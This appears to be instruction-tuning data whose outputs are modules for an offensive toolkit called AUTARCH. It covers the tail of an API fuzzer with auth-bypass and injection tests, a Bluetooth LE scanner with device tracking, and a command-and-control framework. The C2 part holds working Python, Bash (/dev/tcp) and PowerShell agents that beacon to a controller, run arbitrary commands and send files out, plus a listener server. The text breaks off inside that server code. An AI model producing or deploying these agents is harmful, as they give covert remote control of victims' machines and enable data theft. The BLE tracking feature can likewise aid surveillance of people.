            cors = resp.headers.get('Access-Control-Allow-Origin', '')
            if cors == '*':
                issues.append({
                    'type': 'open_cors',
                    'value': cors,
                    'severity': 'medium'
                })

            # Check for error/debug info in body
            body = resp.text.lower()
            if any(kw in body for kw in ['stack trace', 'traceback', 'debug mode']):
                issues.append({
                    'type': 'debug_info',
                    'severity': 'medium',
                    'detail': 'Debug/stack trace information in response'
                })

            return {
                'ok': True,
                'url': url,
                'status': resp.status_code,
                'headers': dict(resp.headers),
                'issues': issues,
                'issue_count': len(issues)
            }

        except Exception as e:
            return {'ok': False, 'error': str(e)}

    # ── Job Management ───────────────────────────────────────────────────

    def get_job(self, job_id: str) -> Optional[Dict]:
        return self._jobs.get(job_id)

    def list_jobs(self) -> List[Dict]:
        return [{'id': k, **v} for k, v in self._jobs.items()]

# ── Singleton ────────────────────────────────────────────────────────────────

_instance = None

def get_api_fuzzer() -> APIFuzzer:
    global _instance
    if _instance is None:
        _instance = APIFuzzer()
    return _instance

# ── CLI Interface ────────────────────────────────────────────────────────────

def run():
    """CLI entry point for API Fuzzer module."""
    if not HAS_REQUESTS:
        print("  Error: requests library not installed")
        return

    fuzzer = get_api_fuzzer()

    while True:
        print(f"\n{'='*60}")
        print(f"  API Fuzzer")
        print(f"{'='*60}")
        print()
        print("  1 — Discover Endpoints")
        print("  2 — Parse OpenAPI Spec")
        print("  3 — Fuzz Parameters")
        print("  4 — Test Auth Bypass")
        print("  5 — Test IDOR")
        print("  6 — Test Rate Limiting")
        print("  7 — GraphQL Introspection")
        print("  8 — Analyze Response")
        print("  9 — Set Authentication")
        print("  0 — Back")
        print()

        choice = input("  > ").strip()

        if choice == '0':
            break
        elif choice == '1':
            base = input("  Base URL: ").strip()
            if base:
                job_id = fuzzer.discover_endpoints(base)
                print(f"    Discovery started (job: {job_id})")
                while True:
                    job = fuzzer.get_job(job_id)
                    if job['status'] == 'complete':
                        print(f"    Found {len(job['found'])} endpoints:")
                        for ep in job['found']:
                            print(f"      [{ep['status']}] {ep['path']}  "
                                  f"({ep['content_type'][:30]})")
                        break
                    print(f"    Checking... {job['checked']}/{job['total']}")
                    time.sleep(1)
        elif choice == '2':
            url = input("  OpenAPI spec URL or file: ").strip()
            if url:
                result = fuzzer.parse_openapi(url)
                if result['ok']:
                    print(f"    API: {result['title']} v{result['version']}")
                    print(f"    Endpoints: {result['count']}")
                    for ep in result['endpoints'][:20]:
                        print(f"      {ep['method']:<6} {ep['path']}  {ep.get('summary', '')}")
                else:
                    print(f"    Error: {result['error']}")
        elif choice == '3':
            url = input("  Endpoint URL: ").strip()
            param_str = input("  Parameters (key=val,key=val): ").strip()
            ptype = input("  Payload type (sqli/xss/traversal/type_confusion): ").strip() or 'type_confusion'
            if url and param_str:
                params = dict(p.split('=', 1) for p in param_str.split(',') if '=' in p)
                result = fuzzer.fuzz_params(url, params=params, payload_type=ptype)
                if result['ok']:
                    print(f"    Tested {result['tested']} combinations, {len(result['findings'])} findings:")
                    for f in result['findings']:
                        print(f"      [{f.get('severity', '?')}] {f['type']}: {f['param']} = {f['payload'][:50]}")
        elif choice == '4':
            url = input("  Protected URL: ").strip()
            if url:
                result = fuzzer.test_auth_bypass(url)
                print(f"    Tested {len(result['bypasses'])} techniques, {result['successful']} successful")
                for b in result['bypasses']:
                    status = 'BYPASSED' if b['success'] else f'blocked ({b["status"]})'
                    print(f"      {b['technique']}: {status}")
        elif choice == '6':
            url = input("  URL to test: ").strip()
            count = input("  Request count (default 50): ").strip()
            if url:
                result = fuzzer.test_rate_limit(url, int(count) if count.isdigit() else 50)
                print(f"    Rate limited: {result['rate_limited']}")
                print(f"    RPS: {result['rps']} | Total: {result['total_requests']} in {result['elapsed_seconds']}s")
                if result['limit_hit_at']:
                    print(f"    Limit hit at request #{result['limit_hit_at']}")
        elif choice == '7':
            url = input("  GraphQL URL: ").strip()
            if url:
                result = fuzzer.graphql_introspect(url)
                if result['ok']:
                    print(f"    Found {result['type_count']} types")
                    for t in result['types'][:10]:
                        print(f"      {t['kind']}: {t['name']} ({len(t['fields'])} fields)")
                else:
                    print(f"    Error: {result['error']}")
        elif choice == '8':
            url = input("  URL: ").strip()
            if url:
                result = fuzzer.analyze_response(url)
                if result['ok']:
                    print(f"    Status: {result['status']} | Issues: {result['issue_count']}")
                    for issue in result['issues']:
                        print(f"      [{issue['severity']}] {issue['type']}: {issue.get('value', issue.get('detail', ''))}")
        elif choice == '9':
            auth_type = input("  Auth type (bearer/api_key/basic/cookie): ").strip()
            value = input("  Value: ").strip()
            if auth_type and value:
                fuzzer.set_auth(auth_type, value)
                print("    Authentication configured")


Instruction: Create an AUTARCH module in the 'analyze' category that ble device scanning & security analysis. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.

Input:
Module name: ble_scanner
Category: analyze
Description: BLE device scanning & security analysis

Output:
"""AUTARCH BLE Scanner

Bluetooth Low Energy device discovery, service enumeration, characteristic
read/write, vulnerability scanning, and proximity tracking.
"""

DESCRIPTION = "BLE device scanning & security analysis"
AUTHOR = "darkHal"
VERSION = "1.0"
CATEGORY = "analyze"

import os
import re
import json
import time
import threading
from pathlib import Path
from datetime import datetime, timezone
from typing import Dict, List, Optional, Any

try:
    from core.paths import get_data_dir
except ImportError:
    def get_data_dir():
        return str(Path(__file__).parent.parent / 'data')

# Optional BLE library
try:
    import asyncio
    from bleak import BleakScanner, BleakClient
    HAS_BLEAK = True
except ImportError:
    HAS_BLEAK = False

# ── Known Service UUIDs ──────────────────────────────────────────────────────

KNOWN_SERVICES = {
    '00001800-0000-1000-8000-00805f9b34fb': 'Generic Access',
    '00001801-0000-1000-8000-00805f9b34fb': 'Generic Attribute',
    '0000180a-0000-1000-8000-00805f9b34fb': 'Device Information',
    '0000180f-0000-1000-8000-00805f9b34fb': 'Battery Service',
    '00001812-0000-1000-8000-00805f9b34fb': 'Human Interface Device',
    '0000180d-0000-1000-8000-00805f9b34fb': 'Heart Rate',
    '00001809-0000-1000-8000-00805f9b34fb': 'Health Thermometer',
    '00001802-0000-1000-8000-00805f9b34fb': 'Immediate Alert',
    '00001803-0000-1000-8000-00805f9b34fb': 'Link Loss',
    '00001804-0000-1000-8000-00805f9b34fb': 'Tx Power',
    '00001805-0000-1000-8000-00805f9b34fb': 'Current Time',
    '00001808-0000-1000-8000-00805f9b34fb': 'Glucose',
    '00001810-0000-1000-8000-00805f9b34fb': 'Blood Pressure',
    '00001813-0000-1000-8000-00805f9b34fb': 'Scan Parameters',
    '00001816-0000-1000-8000-00805f9b34fb': 'Cycling Speed & Cadence',
    '00001818-0000-1000-8000-00805f9b34fb': 'Cycling Power',
    '00001814-0000-1000-8000-00805f9b34fb': 'Running Speed & Cadence',
    '0000fee0-0000-1000-8000-00805f9b34fb': 'Mi Band Service',
    '0000feaa-0000-1000-8000-00805f9b34fb': 'Eddystone (Google)',
}

MANUFACTURER_IDS = {
    0x004C: 'Apple',
    0x0006: 'Microsoft',
    0x000F: 'Texas Instruments',
    0x0059: 'Nordic Semiconductor',
    0x0075: 'Samsung',
    0x00E0: 'Google',
    0x0157: 'Xiaomi',
    0x0171: 'Amazon',
    0x02FF: 'Huawei',
    0x0310: 'Fitbit',
}

KNOWN_VULNS = {
    'KNOB': {
        'description': 'Key Negotiation of Bluetooth Attack — downgrades encryption key entropy',
        'cve': 'CVE-2019-9506',
        'severity': 'high',
        'check': 'Requires active MITM during pairing'
    },
    'BLESA': {
        'description': 'BLE Spoofing Attack — reconnection spoofing without auth',
        'cve': 'CVE-2020-9770',
        'severity': 'medium',
        'check': 'Affects reconnection after disconnect'
    },
    'SweynTooth': {
        'description': 'Family of BLE implementation bugs causing crashes/deadlocks',
        'cve': 'Multiple (CVE-2019-16336, CVE-2019-17519, etc.)',
        'severity': 'high',
        'check': 'Vendor-specific, requires firmware version check'
    },
    'BlueBorne': {
        'description': 'Remote code execution via Bluetooth without pairing',
        'cve': 'CVE-2017-0781 to CVE-2017-0785',
        'severity': 'critical',
        'check': 'Requires classic BT stack, pre-2018 devices vulnerable'
    }
}

# ── BLE Scanner ──────────────────────────────────────────────────────────────

class BLEScanner:
    """Bluetooth Low Energy device scanner and analyzer."""

    def __init__(self):
        self.data_dir = os.path.join(get_data_dir(), 'ble')
        os.makedirs(self.data_dir, exist_ok=True)
        self.devices: Dict[str, Dict] = {}
        self.tracking_history: Dict[str, List[Dict]] = {}
        self._scan_running = False

    def is_available(self) -> bool:
        """Check if BLE scanning is available."""
        return HAS_BLEAK

    def get_status(self) -> Dict:
        """Get scanner status."""
        return {
            'available': HAS_BLEAK,
            'devices_found': len(self.devices),
            'scanning': self._scan_running,
            'tracking': len(self.tracking_history)
        }

    # ── Scanning ─────────────────────────────────────────────────────────

    def scan(self, duration: float = 10.0) -> Dict:
        """Scan for BLE devices."""
        if not HAS_BLEAK:
            return {'ok': False, 'error': 'bleak library not installed (pip install bleak)'}

        self._scan_running = True

        try:
            loop = asyncio.new_event_loop()
            devices = loop.run_until_complete(self._async_scan(duration))
            loop.close()

            results = []
            for dev in devices:
                info = self._parse_device(dev)
                self.devices[info['address']] = info
                results.append(info)

            self._scan_running = False
            return {
                'ok': True,
                'devices': results,
                'count': len(results),
                'duration': duration
            }

        except Exception as e:
            self._scan_running = False
            return {'ok': False, 'error': str(e)}

    async def _async_scan(self, duration: float):
        """Async BLE scan."""
        devices = await BleakScanner.discover(timeout=duration, return_adv=True)
        return devices

    def _parse_device(self, dev_adv) -> Dict:
        """Parse BLE device advertisement data."""
        if isinstance(dev_adv, tuple):
            dev, adv = dev_adv
        else:
            dev = dev_adv
            adv = None

        info = {
            'address': str(dev.address) if hasattr(dev, 'address') else str(dev),
            'name': dev.name if hasattr(dev, 'name') else 'Unknown',
            'rssi': dev.rssi if hasattr(dev, 'rssi') else (adv.rssi if adv and hasattr(adv, 'rssi') else 0),
            'services': [],
            'manufacturer': 'Unknown',
            'device_type': 'unknown',
            'connectable': True,
            'last_seen': datetime.now(timezone.utc).isoformat(),
        }

        # Parse advertisement data
        if adv:
            # Service UUIDs
            if hasattr(adv, 'service_uuids'):
                for uuid in adv.service_uuids:
                    service_name = KNOWN_SERVICES.get(uuid.lower(), uuid)
                    info['services'].append({'uuid': uuid, 'name': service_name})

            # Manufacturer data
            if hasattr(adv, 'manufacturer_data'):
                for company_id, data in adv.manufacturer_data.items():
                    info['manufacturer'] = MANUFACTURER_IDS.get(company_id, f'ID: {company_id:#06x}')
                    info['manufacturer_data'] = data.hex() if isinstance(data, bytes) else str(data)

            # TX Power
            if hasattr(adv, 'tx_power'):
                info['tx_power'] = adv.tx_power

        # Classify device type
        info['device_type'] = self._classify_device(info)

        return info

    def _classify_device(self, info: Dict) -> str:
        """Classify device type from services and name."""
        name = (info.get('name') or '').lower()
        services = [s['uuid'].lower() for s in info.get('services', [])]

        if any('1812' in s for s in services):
            return 'hid'  # keyboard/mouse
        if any('180d' in s for s in services):
            return 'fitness'
        if any('180f' in s for s in services):
            if 'headphone' in name or 'airpod' in name or 'buds' in name:
                return 'audio'
        if any('fee0' in s for s in services):
            return 'wearable'
        if info.get('manufacturer') == 'Apple':
            if 'watch' in name:
                return 'wearable'
            if 'airpod' in name:
                return 'audio'
            return 'apple_device'
        if 'tv' in name or 'chromecast' in name or 'roku' in name:
            return 'media'
        if 'lock' in name or 'door' in name:
            return 'smart_lock'
        if 'light' in name or 'bulb' in name or 'hue' in name:
            return 'smart_light'
        if 'beacon' in name or any('feaa' in s for s in services):
            return 'beacon'
        if 'tile' in name or 'airtag' in name or 'tracker' in name:
            return 'tracker'
        return 'unknown'

    # ── Device Detail ────────────────────────────────────────────────────

    def get_device_detail(self, address: str) -> Dict:
        """Connect to device and enumerate services/characteristics."""
        if not HAS_BLEAK:
            return {'ok': False, 'error': 'bleak not installed'}

        try:
            loop = asyncio.new_event_loop()
            result = loop.run_until_complete(self._async_detail(address))
            loop.close()
            return result
        except Exception as e:
            return {'ok': False, 'error': str(e)}

    async def _async_detail(self, address: str) -> Dict:
        """Async device detail enumeration."""
        async with BleakClient(address) as client:
            services = []
            for service in client.services:
                svc = {
                    'uuid': service.uuid,
                    'name': KNOWN_SERVICES.get(service.uuid.lower(), service.description or service.uuid),
                    'characteristics': []
                }
                for char in service.characteristics:
                    ch = {
                        'uuid': char.uuid,
                        'description': char.description or char.uuid,
                        'properties': char.properties,
                        'value': None
                    }
                    # Try to read if readable
                    if 'read' in char.properties:
                        try:
                            val = await client.read_gatt_char(char.uuid)
                            ch['value'] = val.hex() if isinstance(val, bytes) else str(val)
                            # Try UTF-8 decode
                            try:
                                ch['value_text'] = val.decode('utf-8')
                            except (UnicodeDecodeError, AttributeError):
                                pass
                        except Exception:
                            ch['value'] = '<read failed>'

                    svc['characteristics'].append(ch)
                services.append(svc)

            return {
                'ok': True,
                'address': address,
                'connected': True,
                'services': services,
                'service_count': len(services),
                'char_count': sum(len(s['characteristics']) for s in services)
            }

    def read_characteristic(self, address: str, char_uuid: str) -> Dict:
        """Read a specific characteristic value."""
        if not HAS_BLEAK:
            return {'ok': False, 'error': 'bleak not installed'}

        try:
            loop = asyncio.new_event_loop()
            result = loop.run_until_complete(self._async_read(address, char_uuid))
            loop.close()
            return result
        except Exception as e:
            return {'ok': False, 'error': str(e)}

    async def _async_read(self, address: str, char_uuid: str) -> Dict:
        async with BleakClient(address) as client:
            val = await client.read_gatt_char(char_uuid)
            return {
                'ok': True,
                'address': address,
                'characteristic': char_uuid,
                'value_hex': val.hex(),
                'value_bytes': list(val),
                'size': len(val)
            }

    def write_characteristic(self, address: str, char_uuid: str,
                              data: bytes) -> Dict:
        """Write to a characteristic."""
        if not HAS_BLEAK:
            return {'ok': False, 'error': 'bleak not installed'}

        try:
            loop = asyncio.new_event_loop()
            result = loop.run_until_complete(self._async_write(address, char_uuid, data))
            loop.close()
            return result
        except Exception as e:
            return {'ok': False, 'error': str(e)}

    async def _async_write(self, address: str, char_uuid: str, data: bytes) -> Dict:
        async with BleakClient(address) as client:
            await client.write_gatt_char(char_uuid, data)
            return {'ok': True, 'address': address, 'characteristic': char_uuid,
                    'written': len(data)}

    # ── Vulnerability Scanning ───────────────────────────────────────────

    def vuln_scan(self, address: str = None) -> Dict:
        """Check for known BLE vulnerabilities."""
        vulns = []

        for vuln_name, vuln_info in KNOWN_VULNS.items():
            entry = {
                'name': vuln_name,
                'description': vuln_info['description'],
                'cve': vuln_info['cve'],
                'severity': vuln_info['severity'],
                'status': 'check_required',
                'note': vuln_info['check']
            }
            vulns.append(entry)

        # Device-specific checks
        if address and address in self.devices:
            dev = self.devices[address]
            manufacturer = dev.get('manufacturer', '')

            # Apple devices with older firmware
            if manufacturer == 'Apple':
                vulns.append({
                    'name': 'Apple BLE Tracking',
                    'description': 'Apple devices broadcast continuity messages that can be tracked',
                    'severity': 'info',
                    'status': 'detected' if 'apple_device' in dev.get('device_type', '') else 'not_applicable',
                    'note': 'Apple continuity protocol leaks device info'
                })

            # Devices without encryption
            for svc in dev.get('services', []):
                if 'immediate alert' in svc.get('name', '').lower():
                    vulns.append({
                        'name': 'Unauthenticated Alert Service',
                        'description': 'Immediate Alert service accessible without pairing',
                        'severity': 'low',
                        'status': 'detected',
                        'note': 'Can trigger alerts on device without authentication'
                    })

        return {
            'ok': True,
            'address': address,
            'vulnerabilities': vulns,
            'vuln_count': len(vulns)
        }

    # ── Proximity Tracking ───────────────────────────────────────────────

    def track_device(self, address: str) -> Dict:
        """Record RSSI for proximity tracking."""
        if address not in self.devices:
            return {'ok': False, 'error': 'Device not found. Run scan first.'}

        dev = self.devices[address]
        rssi = dev.get('rssi', 0)
        tx_power = dev.get('tx_power', -59)  # default TX power

        # Estimate distance (rough path-loss model)
        if rssi != 0:
            ratio = rssi / tx_power
            if ratio < 1.0:
                distance = pow(ratio, 10)
            else:
                distance = 0.89976 * pow(ratio, 7.7095) + 0.111
        else:
            distance = -1

        entry = {
            'timestamp': datetime.now(timezone.utc).isoformat(),
            'rssi': rssi,
            'estimated_distance_m': round(distance, 2),
            'tx_power': tx_power
        }

        if address not in self.tracking_history:
            self.tracking_history[address] = []
        self.tracking_history[address].append(entry)

        return {
            'ok': True,
            'address': address,
            'name': dev.get('name', 'Unknown'),
            'current': entry,
            'history_count': len(self.tracking_history[address])
        }

    def get_tracking_history(self, address: str) -> List[Dict]:
        """Get tracking history for a device."""
        return self.tracking_history.get(address, [])

    # ── Persistence ──────────────────────────────────────────────────────

    def save_scan(self, name: str = None) -> Dict:
        """Save current scan results."""
        name = name or f'scan_{int(time.time())}'
        filepath = os.path.join(self.data_dir, f'{name}.json')
        with open(filepath, 'w') as f:
            json.dump({
                'timestamp': datetime.now(timezone.utc).isoformat(),
                'devices': list(self.devices.values()),
                'count': len(self.devices)
            }, f, indent=2)
        return {'ok': True, 'path': filepath, 'count': len(self.devices)}

    def list_scans(self) -> List[Dict]:
        """List saved scans."""
        scans = []
        for f in Path(self.data_dir).glob('*.json'):
            try:
                with open(f) as fh:
                    data = json.load(fh)
                scans.append({
                    'name': f.stem,
                    'path': str(f),
                    'timestamp': data.get('timestamp', ''),
                    'count': data.get('count', 0)
                })
            except Exception:
                pass
        return scans

    def get_devices(self) -> List[Dict]:
        """Get all discovered devices."""
        return list(self.devices.values())

# ── Singleton ────────────────────────────────────────────────────────────────

_instance = None

def get_ble_scanner() -> BLEScanner:
    global _instance
    if _instance is None:
        _instance = BLEScanner()
    return _instance

# ── CLI Interface ────────────────────────────────────────────────────────────

def run():
    """CLI entry point for BLE Scanner module."""
    scanner = get_ble_scanner()

    while True:
        status = scanner.get_status()
        print(f"\n{'='*60}")
        print(f"  BLE Scanner  (bleak: {'OK' if status['available'] else 'MISSING'})")
        print(f"{'='*60}")
        print(f"  Devices found: {status['devices_found']}")
        print()
        print("  1 — Scan for Devices")
        print("  2 — View Devices")
        print("  3 — Device Detail (connect)")
        print("  4 — Vulnerability Scan")
        print("  5 — Track Device (proximity)")
        print("  6 — Save Scan")
        print("  7 — List Saved Scans")
        print("  0 — Back")
        print()

        choice = input("  > ").strip()

        if choice == '0':
            break
        elif choice == '1':
            dur = input("  Scan duration (seconds, default 10): ").strip()
            result = scanner.scan(float(dur) if dur else 10.0)
            if result['ok']:
                print(f"    Found {result['count']} devices:")
                for dev in result['devices']:
                    print(f"      {dev['address']}  {dev.get('name', '?'):<20}  "
                          f"RSSI={dev['rssi']}  {dev['device_type']}  ({dev['manufacturer']})")
            else:
                print(f"    Error: {result['error']}")
        elif choice == '2':
            devices = scanner.get_devices()
            for dev in devices:
                print(f"    {dev['address']}  {dev.get('name', '?'):<20}  "
                      f"RSSI={dev['rssi']}  {dev['device_type']}")
        elif choice == '3':
            addr = input("  Device address: ").strip()
            if addr:
                result = scanner.get_device_detail(addr)
                if result['ok']:
                    print(f"    Services: {result['service_count']}  Characteristics: {result['char_count']}")
                    for svc in result['services']:
                        print(f"      [{svc['name']}]")
                        for ch in svc['characteristics']:
                            val = ch.get('value_text', ch.get('value', ''))
                            print(f"        {ch['description']}  props={ch['properties']}  val={val}")
                else:
                    print(f"    Error: {result['error']}")
        elif choice == '4':
            addr = input("  Device address (blank=general): ").strip() or None
            result = scanner.vuln_scan(addr)
            for v in result['vulnerabilities']:
                print(f"    [{v['severity']:<8}] {v['name']}: {v['description'][:60]}")
        elif choice == '5':
            addr = input("  Device address: ").strip()
            if addr:
                result = scanner.track_device(addr)
                if result['ok']:
                    c = result['current']
                    print(f"    RSSI: {c['rssi']}  Distance: ~{c['estimated_distance_m']}m")
                else:
                    print(f"    Error: {result['error']}")
        elif choice == '6':
            name = input("  Scan name (blank=auto): ").strip() or None
            result = scanner.save_scan(name)
            print(f"    Saved {result['count']} devices")
        elif choice == '7':
            for s in scanner.list_scans():
                print(f"    {s['name']}  ({s['count']} devices)  {s['timestamp']}")


Instruction: Create an AUTARCH module in the 'offense' category that command & control framework. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.

Input:
Module name: c2_framework
Category: offense
Description: Command & Control framework

Output:
"""AUTARCH C2 Framework

Multi-session command & control framework with agent generation,
listener management, task queuing, and file transfer.
"""

DESCRIPTION = "Command & Control framework"
AUTHOR = "darkHal"
VERSION = "1.0"
CATEGORY = "offense"

import os
import re
import json
import time
import socket
import base64
import secrets
import threading
import struct
from pathlib import Path
from datetime import datetime, timezone
from typing import Dict, List, Optional, Any
from dataclasses import dataclass, field

try:
    from core.paths import get_data_dir
except ImportError:
    def get_data_dir():
        return str(Path(__file__).parent.parent / 'data')

# ── Agent Templates ───────────────────────────────────────────────────────────

PYTHON_AGENT_TEMPLATE = '''#!/usr/bin/env python3
"""AUTARCH C2 Agent — auto-generated."""
import os,sys,time,socket,subprocess,json,base64,platform,random
C2_HOST="{host}"
C2_PORT={port}
BEACON_INTERVAL={interval}
JITTER={jitter}
AGENT_ID="{agent_id}"

def beacon():
    while True:
        try:
            s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
            s.settimeout(30)
            s.connect((C2_HOST,C2_PORT))
            # Register
            info={{"id":AGENT_ID,"os":platform.system(),"hostname":socket.gethostname(),
                "user":os.getenv("USER",os.getenv("USERNAME","unknown")),
                "pid":os.getpid(),"arch":platform.machine()}}
            s.send(json.dumps({{"type":"register","data":info}}).encode()+"\\n".encode())
            while True:
                data=s.recv(65536)
                if not data:break
                try:
                    cmd=json.loads(data.decode())
                    result=handle_cmd(cmd)
                    s.send(json.dumps(result).encode()+"\\n".encode())
                except:pass
        except:pass
        finally:
            try:s.close()
            except:pass
        jitter_delay=BEACON_INTERVAL+random.uniform(-JITTER,JITTER)
        time.sleep(max(1,jitter_delay))

def handle_cmd(cmd):
    t=cmd.get("type","")
    if t=="exec":
        try:
            r=subprocess.run(cmd["command"],shell=True,capture_output=True,text=True,timeout=60)
            return{{"type":"result","task_id":cmd.get("task_id",""),"stdout":r.stdout[-4096:],"stderr":r.stderr[-2048:],"rc":r.returncode}}
        except Exception as e:
            return{{"type":"error","task_id":cmd.get("task_id",""),"error":str(e)}}
    elif t=="download":
        try:
            with open(cmd["path"],"rb") as f:d=base64.b64encode(f.read()).decode()
            return{{"type":"file","task_id":cmd.get("task_id",""),"name":os.path.basename(cmd["path"]),"data":d}}
        except Exception as e:
            return{{"type":"error","task_id":cmd.get("task_id",""),"error":str(e)}}
    elif t=="upload":
        try:
            with open(cmd["path"],"wb") as f:f.write(base64.b64decode(cmd["data"]))
            return{{"type":"result","task_id":cmd.get("task_id",""),"stdout":"Uploaded to "+cmd["path"]}}
        except Exception as e:
            return{{"type":"error","task_id":cmd.get("task_id",""),"error":str(e)}}
    elif t=="sysinfo":
        return{{"type":"result","task_id":cmd.get("task_id",""),
            "stdout":json.dumps({{"os":platform.system(),"release":platform.release(),
            "hostname":socket.gethostname(),"user":os.getenv("USER",os.getenv("USERNAME","")),
            "pid":os.getpid(),"cwd":os.getcwd(),"arch":platform.machine()}})}}
    elif t=="exit":
        sys.exit(0)
    return{{"type":"error","task_id":cmd.get("task_id",""),"error":"Unknown command"}}

if __name__=="__main__":beacon()
'''

BASH_AGENT_TEMPLATE = '''#!/bin/bash
# AUTARCH C2 Agent — auto-generated
C2_HOST="{host}"
C2_PORT={port}
INTERVAL={interval}
AGENT_ID="{agent_id}"
while true; do
    exec 3<>/dev/tcp/$C2_HOST/$C2_PORT 2>/dev/null
    if [ $? -eq 0 ]; then
        echo '{{"type":"register","data":{{"id":"'$AGENT_ID'","os":"'$(uname -s)'","hostname":"'$(hostname)'","user":"'$(whoami)'","pid":'$$'}}}}' >&3
        while read -r line <&3; do
            CMD=$(echo "$line" | python3 -c "import sys,json;d=json.load(sys.stdin);print(d.get('command',''))" 2>/dev/null)
            TID=$(echo "$line" | python3 -c "import sys,json;d=json.load(sys.stdin);print(d.get('task_id',''))" 2>/dev/null)
            if [ -n "$CMD" ]; then
                OUTPUT=$(eval "$CMD" 2>&1 | head -c 4096)
                echo '{{"type":"result","task_id":"'$TID'","stdout":"'$(echo "$OUTPUT" | base64 -w0)'"}}' >&3
            fi
        done
        exec 3>&-
    fi
    sleep $INTERVAL
done
'''

POWERSHELL_AGENT_TEMPLATE = '''# AUTARCH C2 Agent — auto-generated
$C2Host="{host}"
$C2Port={port}
$Interval={interval}
$AgentId="{agent_id}"
while($true){{
    try{{
        $c=New-Object System.Net.Sockets.TcpClient($C2Host,$C2Port)
        $s=$c.GetStream()
        $w=New-Object System.IO.StreamWriter($s)
        $r=New-Object System.IO.StreamReader($s)
        $info=@{{type="register";data=@{{id=$AgentId;os="Windows";hostname=$env:COMPUTERNAME;user=$env:USERNAME;pid=$PID}}}}|ConvertTo-Json -Compress
        $w.WriteLine($info);$w.Flush()
        while($c.Connected){{
            $line=$r.ReadLine()
            if($line){{
                $cmd=$line|ConvertFrom-Json
                if($cmd.type -eq "exec"){{
                    try{{$out=Invoke-Expression $cmd.command 2>&1|Out-String
                        $resp=@{{type="result";task_id=$cmd.task_id;stdout=$out.Substring(0,[Math]::Min($out.Length,4096))}}|ConvertTo-Json -Compress
                    }}catch{{$resp=@{{type="error";task_id=$cmd.task_id;error=$_.Exception.Message}}|ConvertTo-Json -Compress}}
                    $w.WriteLine($resp);$w.Flush()
                }}
            }}
        }}
    }}catch{{}}
    Start-Sleep -Seconds $Interval
}}
'''

# ── C2 Server ─────────────────────────────────────────────────────────────────

@dataclass
class Agent:
    id: str
    os: str = ''
    hostname: str = ''
    user: str = ''
    pid: int = 0
    arch: str = ''
    remote_addr: str = ''
    first_seen: str = ''
    last_seen: str = ''
    status: str = 'active'  # active, stale, dead

@dataclass
class Task:
    id: str
    agent_id: str
    type: str
    data: dict = field(default_factory=dict)
    status: str = 'pending'  # pending, sent, completed, failed
    result: Optional[dict] = None
    created_at: str = ''
    completed_at: str = ''

class C2Server:
    """Multi-session C2 server with agent management."""

    def __init__(self):
        self._data_dir = os.path.join(get_data_dir(), 'c2')
        os.makedirs(self._data_dir, exist_ok=True)
        self._agents: Dict[str, Agent] = {}
        self._tasks: Dict[str, Task] = {}
        self._agent_tasks: Dict[str, list] = {}  # agent_id -> [task_ids]
        self._agent_sockets: Dict[str, socket.socket] = {}
        self._listeners: Dict[str, dict] = {}
        self._listener_threads: Dict[str, threading.Thread] = {}
        self._stop_events: Dict[str, threading.Event] = {}

    # ── Listener Management ───────────────────────────────────────────────

    def start_listener(self, name: str, host: str = '0.0.0.0',
                       port: int = 4444, protocol: str = 'tcp') -> dict:
        """Start a C2 listener."""
        if name in self._listeners:
            return {'ok': False, 'error': f'Listener "{name}" already exists'}

        stop_event = threading.Event()
        self._stop_events[name] = stop_event

        listener_info = {
            'name': name, 'host': host, 'port': port, 'protocol': protocol,
            'started_at': datetime.now(timezone.utc).isoformat(),
            'connections': 0,
        }
        self._listeners[name] = listener_info

        def accept_loop():
            try:
                srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
                srv.settimeout(2.0)
                srv.bind((host, port))
                srv.listen(20)
                listener_info['socket'] = srv

                while not stop_event.is_set():
                    try:
                        conn, addr = srv.accept()
                        listener_info['connections'] += 1
                        threading.Thread(target=self._handle_agent,
                                         args=(conn, addr, name),
                                         daemon=True).start()
                    except socket.timeout:
                        continue
                    except Exception:
                        break
            except Exception as e:
                listener_info['error'] = str(e)
            finally:
                try:
                    srv.close()
                except Exception:
                    pass

        t = threading.Thread(target=accept_loop, daemon=True)
        t.start()
        self._listener_threads[name] = t

        return {'ok': True, 'message': f'Listener "{name}" started on {host}:{port}'}

    def stop_listener(self, name: str) -> dict:
        """Stop a C2 listener."""
        if name not in self._listeners:
            return {'ok': False, 'error': 'Listener not found'}
        stop_event = self._stop_events.pop(name, None)
        if stop_event:
            stop_event.set()
        listener = self._listeners.pop(name, {})
        sock = listener.get('socket')
        if sock:
            try:
                sock.close()
            except Exception:
                pass
        self._listener_threads.pop(name, None)
        return {'ok': True, 'message': f'Listener "{name}" stopped'}

    def list_listeners(self) -> List[dict]:
        return [{k: v for k, v in l.items() if k != 'socket'}
                for l in self._listeners.values()]

    def _handle_agent(self, conn: socket.socket, addr: tuple, listener: str):
        """Handle incoming agent connection."""
        conn.settimeout(300)  # 5 min timeout
        try:
            data = conn.recv(65536)
            if not data:
                return
            msg = json.loads(data.decode().strip())
            if msg.get('type') != 'register':
                conn.close()
                return

            info = msg.get('data', {})
            agent_id = info.get('id', secrets.token_hex(4))

            agent = Agent(
                id=agent_id,
                os=info.get('os', ''),
                hostname=info.get('hostname', ''),
                user=info.get('user', ''),
                pid=info.get('pid', 0),
                arch=info.get('arch', ''),
                remote_addr=f'{addr[0]}:{addr[1]}',
                first_seen=datetime.now(timezone.utc).isoformat(),
                last_seen=datetime.now(timezone.utc).isoformat(),
            )

            self._agents[agent_id] = agent
            self._agent_sockets[agent_id] = conn
            if agent_id not in self._agent_tasks:
                self._agent_tasks[agent_id] = []

            # Process pending tasks for this agent
            while True:
                pending = [t for t in self._get_pending_tasks(agent_id)]
                if not pending:
                    time.sleep(1)
                    # Check if still connected
                    try:
                        conn.send(b'')
                    except Exception:
                        break
                    agent.last_seen = datetime.now(timezone.utc).isoformat()
                    continue

                for task in pending:
                    try:
                        cmd = {'type': task.type, 'task_id': task.id, **task.data}
                        conn.send(json.dumps(cmd).encode() + b'\n')
                        task.status = 'sent'

                        # Wait for result
                        conn.settimeout(60)
                        result_data = conn.recv(65536)
                        if result_data:
                            result = json.loads(result_data.decode().strip())
                            task.result = result
                            task.status = 'completed'
                            task.completed_at = datetime.now(timezone.utc).isoformat()
                        else:
                            task.status = 'failed'
                    except Exception as e:
                        task.status = 'failed'
